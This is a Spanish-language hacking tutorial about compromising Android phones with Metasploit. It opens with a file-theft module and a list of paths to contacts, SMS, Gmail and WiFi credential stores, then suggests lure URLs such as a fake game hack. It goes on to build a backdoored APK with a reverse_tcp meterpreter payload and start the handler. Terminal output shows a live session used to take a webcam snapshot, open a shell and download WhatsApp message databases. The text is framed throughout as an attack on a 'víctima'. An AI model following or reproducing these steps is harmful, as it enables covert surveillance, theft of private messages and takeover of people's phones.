

## **Gathering en Android y Backdoor [Con Metasploit]**

#### Por J0K3\$/Icebreaker

Nivel de Paper = **Básico** 

## **Gathering: Robo de Archivo en Android [Metasploit]**

Hola!

En esta parte del paper explicaremos como conseguir información del Android, primero de todo cargaremos metasploit, bien sea en su windows/mac/linux, bueno una vez cargado usaremos el siguiente "Auxiliar" :

#### use auxiliary/gather/android\_htmlfileprovider

Ya vieron una vez cargado , pueden hacer un "show options", si quieren , bueno ahora lo que tenemos que hacer es indicarles el archivo a robar de android, para eso os dejo acá una lista de los path de los directorios , para mi , interesantes.....

► Ir	nformación Importante
Datos	Ubicacion
Contactos	/data/data/com.android.providers.contacts/
Calendario	/data/data/com.android.providers.calendar/
SMS&MMS	/data/data/com.android.providers.telephony/
DownloadHistory	/data/data/com.android.providers.downloads/
BrowserData	/data/data/com.android.providers.browser/
Gmail	/data/data/com.google.android.providers.gmail/
LocationCache	/data/data/com.google.android.location/
WIFi	/data/misc/wifi/wpa_supplicant/
Use pass browser	/data/data/com.android.browser/databases/web view.db

Bueno en mi casó no cogeré ninguna de esas cogeré, otras pues usare mi maquina virtual para , que no me demore mucho tiempo , pero pueden usar una de esas, por si les interesa algún directorio en especial , Ok?! Empecemos acá les dejo una foto de mi configuración y ahora les explicare punto por punto para que es cada.



Bueno, expliquemos esto por partes....

**Files** = Esté sera el archivo que robaran de android, me explico? El path .....en mi caso será hosts.

**URIPATH**= Le coloqué este "/" es lo que ira detrás de la ip, pueden poner algo así para la ing social, por ejemplo /HackPou …por ejemplo ese supuesto hack para el juego y saldria así : "Ip"/HackPou

**SRVPORT**= Al principio saldría 8080 pero para no darle el puerto ese pues la dirección quedaría así al entregársela a la víctima "ip":8080/HackPou , pues les extrañaría aunque también hay shorten , pero lo podrían ver en la barrita de arriba al ejecutarlo...Entonces déjenlo como 80 y no se visualizara [Porque es protocolo HTTP]....

Bueno le daremos la dirección que nos da para los ataques locales la de Local Ip, osease le daré esa ip haber que me muestra el exploit GO!.



Bueno, acá ven eso es la ip local, de el dispositivo atacado, y su versión de android + modelo del dispositivo ¿No está mal ? Eh ...Bueno este ataque es muy bueno, con una combinación que diré al final ..... Pero pasémonos a la otra parte del paper no? ....¿Tienen miedo?

## <u>Backdoor en Android. Tomando el Control del dispositivo.</u> [<u>Metasploit]</u>

Bueno en esté punto dirán ! ¿Enserio? Se puede penetrar mi android, de una forma sencilla...saltándose antivirus .....Pues si, primero actualicen metasploit si llevan tiempo sin hacerlo , pues salieron algunos módulos nuevos bueno , pasemos a la acción primero dentro de la consola de metasploit colocaremos esto ....

#### search android

Bueno verán los siguientes módulos.....



O sí! Am sacado un exploit handler, y 2 payloads...mmm.... saquemos un APK infectada ¿No? Claro....bueno como creamos este apk? Pues fácil con msfpayload , yo lo creare de Meterpreter, por si no lo saben meterpreter es el "Troyano" de metasploit ,con funciones interesantes. Para crearlo abrimos una terminal y ponemos lo siguiente.....

# sudo msfpayload payload/android/meterpreter/reverse\_tcp LHOST="Ip local o Externa" R > "Ruta+Archivo.apk"

#### Ejemplo: sudo msfpayload payload/android/meterpreter/reverse\_tcp LHOST=192.168.1.35 R > /home/icebreaker/Escritorio/HackPou.apk

Bueno, dirán si han hecho "backdoors" para metasploit, ! J0k3\$ J0k3\$ !, por qué pones "R" si siempre creamos el ejecutable con "X", tenemos que decirle a msfpayload que use la salida RAW. Eso en otros payloads nos sacaría el shellcode sin formato, pero en el caso de Android nos sacara un apk!, jejej bien ¿no? Pueden comprobarlo con el comando "file nombre.apk" y les saldrá la info todo bien escrito....Bueno una vez hecho eso, cargamos el exploit .....

#### sudo msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse\_tcp LHOST="Su ip puesta en el backdoor" E

ejemplo: sudo msfcli exploit/multi/handler PAYLOAD=android/meterpreter/reverse\_tcp LHOST="Su ip puesta en el backdoor" E

🦉 Menú de aplicaciones 🖥 🗟 Sin título 1 - LibreOffice 📮 root@iceb	eaker-Aspire	Q P	21:13 👔 🎗 🏶 😽 📶 🂥 🎧 📩 Icebreaker 📲
	root@icebreaker-Aspire-5755G: /ł	nome/icebreaker	+_&
<u>A</u> rchivo <u>E</u> ditar <u>V</u> er <u>B</u> uscar <u>T</u> erminal Ay <u>u</u> da			
root@icebreaker-Aspire-5755G:/home/icebreaker# sudo u	nsfcli exploit/multi/handle	r PAYLOAD=android/meterpre	eter/reverse_tcp LHOST=192.168.1.35 E
["] Flease wall while we load the Module tree			
1			
3Kom SuperHack II Logon			
   User Name: [ security	]		
Password:	1		
[ ок ]			
	nttp://metasploit.pro		
=[ metasploit v4.7.0-1 [core:4.7 api:1.0]			
+=[ 1141 exploits - 720 auxiliary - 194 post +=[ 309 pavloads - 30 eproders - 8 pops			
			X OULD DOLL
PAYLOAD => android/meterpreter/reverse_tcp LHOST => 192.168.1.35			
[*] Started reverse handler on 192.168.1.35:4444			
[*] Starting the payload handler			

Bueno ahora la victima cuando se instale la Apk, infectada nos saldrá esto....

🕌 Menú de aplicaciones 🖥 🗟 Sin título 1 - LibreOffice 홎 root@icebr	eaker-Aspire	<b>O</b>	21:20 🛞 💲 🍀 📶 💥 ᇌ 🔤 Icebreaker 🔐
₽ ₽	root@icebreaker-Aspire-5755G: /home/ice	ebreaker	+_∂×
<u>A</u> rchivo <u>E</u> ditar <u>V</u> er <u>B</u> uscar <u>T</u> erminal Ay <u>u</u> da			
<pre>root@icebreaker-Aspire-57556:/home/icebreaker# sudo m [*] Please wait while we load the module tree</pre>	sfcli exploit/multi/handler PAYL0	OAD=android/meterpreter/revers	se_tcp LHOST=192.168.1.35 E
3Kom SuperHack II Logon			
User Name: [ security	]		
Password: [ ] ]	]		
[ок]			
ı   	http://metasploit.pro   		
<pre>=[ metasploit v4.7.0-1 [core:4.7 api:1.0] +=[ 1141 exploits - 720 auxiliary - 194 post +=[ 309 payloads - 30 encoders - 8 nops PAYLOAD =&gt; android/meterpreter/reverse_tcp LHOST =&gt; 192.168.1.35 [*] Started reverse handler on 192.168.1.35:4444 [*] Starting the payload handler [*] Sending stage (39698 bytes) to 192.168.1.34 [*] Meterpreter session 1 opened (192.168.1.35:4444 - meterpreter &gt;</pre>	> 192.168.1.34:40715) at 2013-08	€ -25 21:19:58 +0200	

O sí! Tenemos la sesión ese android es nuestro! , ahora podemos , poner Help , para ver los comandos que nos brinda Meterpreter ,para esté dispositivo.

🕌 Menú de aplicacior	nes 📲 Sin título 1 - LibreOffice 🕎 root@icebreaker-Aspire	<b>(</b> )	21:20 🔰 🔭 🏶 📶 🂥 🏫 🔤 Icebreaker 📑
Ŧ	root@icebreaker-Aspire-5755G: /home/icebreak	er	+_ ⊡ ×
<u>A</u> rchivo <u>E</u> ditar <u>V</u> er <u>B</u>	uscar <u>T</u> erminal Ay <u>u</u> da		
rmdir	Remove directory		
search	Search for files		
upload	Upload a file or directory		
Stdapi: Networkir	ng Commands		
Command	Description		
ifconfig	Display interfaces		
ipconfig	Display interfaces		
portfwd	Forward a local port to a remote service		
route	View and modify the routing table		
Stands System Co			
stdapt: system co			
Command	Description		
execute	Execute a command		
getuid	Get the user that the server is running as		
ps shall	Drop into a system command shell		
sysinfo	Gets information about the remote system, such as OS		
o yo ciri o			
webcam cc		*	
Command	Description		
record mic	Record audio from the default microphone for X seconds		
webcam_list	List webcams		
webcam_snap	Take a snapshot from the specified webcam		
meterpreter >			

### Uo! cuantos comandos! Probemos alguno como ..."Sysinfo".....

00.000	teos comanados. I rocennos argano co	<u> </u>	 •
🕌 Menú de aplicaci	ones 🖥 Sin título 1 - LibreOffice 📮 root@icebreaker-Aspire		21:21 🛞 🖹 🏶 📶 💥 🚮 🔤 Icebreaker 🔐
	root@icebreaker-Aspire-5755G: /	home/icebreaker	+_⊡×
<u>Archivo</u> Editar Ver	<u>B</u> uscar <u>T</u> erminal Ay <u>u</u> da		
Command	Description		
ifconfig	Display interfaces		
ipconfig	Display interfaces		
portfwd	Forward a local port to a remote service		
route	View and modify the routing table		
Stdapi: System (	Commands		
Command	Description		
execute	Execute a command		
getuid	Get the user that the server is running as		
ps	List running processes		
shell	Drop into a system command shell Cets information about the semate system, such as OS		
systino	dets thromation about the remote system, such as of		
	d-		
======================================			
Command	Description		
record mic	Record audio from the default microphone for X seconds		
webcam_list	List webcams		
webcam_snap	Take a snapshot from the specified webcam	k	
<u>meterpreter</u> > sy	ysinfo		
Computer : lo	ocalhost		
0S : L	inux 2.6.38.6-perf (armv7l)		
Meterpreter : ja	ava/java		
meterpreter >			
neccipiteter >			

Mmmm ! Buena información , probemos ....Webcam\_Snap....Esté es para echar una foto con el teléfono infectado.....



No sé ve muy bien xD jajaj pero bueno, es la cámara de mi móvil...XD jajajajaj , y como vieron antes jajaja no es muy bueno ni nuevo...XD jajajja....Bueno probemos shell....Esté es mi comando preferido....



O sí!, que bonitos directorios del android infectado .....bueno entremos en sdcard haber que encontramos....

👫 Menú de aplicaciones 🖡	Sin título 1 - LibreOffice	root@icebreaker-Aspire		21:40 ଃ 💲 🗱 📶 💥 🏠 🔤 Icebreaker 🔐
2		root⊚icebreak	er-Aspire-5755G: /home/icebreaker	↑ - d ×
Archivo Editar Ver Buscar	Terminal Avuda	lootgreebreak	er Aspire 575561 (nonic) ees reaker	
data	<u>Tenning Nya</u> da			
charaorimagoc				
root				
dov				
cd sdcard				
ls				
download				
data				
Notifications				
Android				
temp	<b>k</b>			
app.apk				
DCIM				
bluetooth				
WhatsApp				
calendar				
simplemp3				
SoundRecorder				
fakecall				
sl4a				
GOLauncherEX				
AppGame				
GoStore				
GoTheme				
ZeptoLab				
QrDroid				
burstlyImageCache				
clockworkmod				
_ExternalSD				
screenshotultimate				
Pictures				
CapturedImages				
ScreenCapture				
cd				

Oh! hemos encontrado el directorio de WhatsApp.....Salgamos y movamos con meterpreter hacia este directorio para descargarnos algo....

🕌 Menú de aplicacio	nes 🖥	[Sin títu	ılo 1 - LibreOffice 🚆 root@icebreal	er-Aspire	🥡 icebreaker - G	Gestor de a		2	21:46 👔 💲 🕯	🕷 ad 💥 兪 🕷	🧽 Icebreak	er 📝
<u>-</u>			r	oot@icebreak	er-Aspire-5755G	G: /home/icebre	eaker				<b>^</b> .	۰×
<u>A</u> rchivo <u>E</u> ditar <u>V</u> er	Buscar ]	erminal	Ay <u>u</u> da									
<pre>meterpreter &gt; pw /data/data/com.m meterpreter &gt; cd meterpreter &gt; cd meterpreter &gt; cd meterpreter &gt; cd meterpreter &gt; cd</pre>	d etaspl    d	oit.st	age/files									
/ meterpreter > cd meterpreter > cd [-] stdapl_fs_ch meterpreter > cd [-] Unknown comm meterpreter > ls Listing: /mrt/sd	sdcard WhatA dir: 0 Whats r and: d card/W	d pp perati App ir. hatsAp	on failed: 1 P =					k				
Mode	Size	 Туре	- Last modified	Name								
40667/rw-rw-rwx 40667/rw-rw-rwx 40666/rw-rw-rw- 40666/rw-rw-rw- 40666/rw-rw-rw- 40666/rw-rw-rw-	0 0 0 0 0 0	dir dir dir dir dir dir dir	2013-08-24 04:00:00 +0200 2013-08-21 15:15:48 +0200 2013-08-25 04:00:00 +0200 2013-08-25 04:00:00 +0200 2013-08-17 16:41:42 +0200 2013-08-25 00:40:52 +0200	 .trash Backups Databases Media Profile P	ictures							
<u>meterpreter</u> > do Usage: download	wnload [optio	ns] sr	c1 src2 src3 destinatio	n								
Downloads remote	files	and d	irectories to the local mac	hine.								
OPTIONS:												
-h He -r Do	lp ban wnload	ner. recur	sively.									

Bueno bueno, les explico lo que uso en la imagén para moverme....son estos 2 comandos...

**pwd** = Es para ver en que directorio empezamos inicialmente....

**cd** = para avanzar o retroceder [Parar retroceder sería así :" cd .. "]

entramos en alguna carpeta como podria ser Databases, y descargamos el archivo de

la database llamado : "**msgstore.db.crypt**", bueno ese archivo tiene las conversaciones de whatsapp también podrían descargar imágenes...etc de todo, después de descargarlo usen algo como un whatsapp decripter y desencripten las conversaciones para leerlas...ya are un paper de como se hacen ..... Saludos y que les allá servido de algo.

Gracias a Pentest And Support, especialmente gracias a David Urióstegui.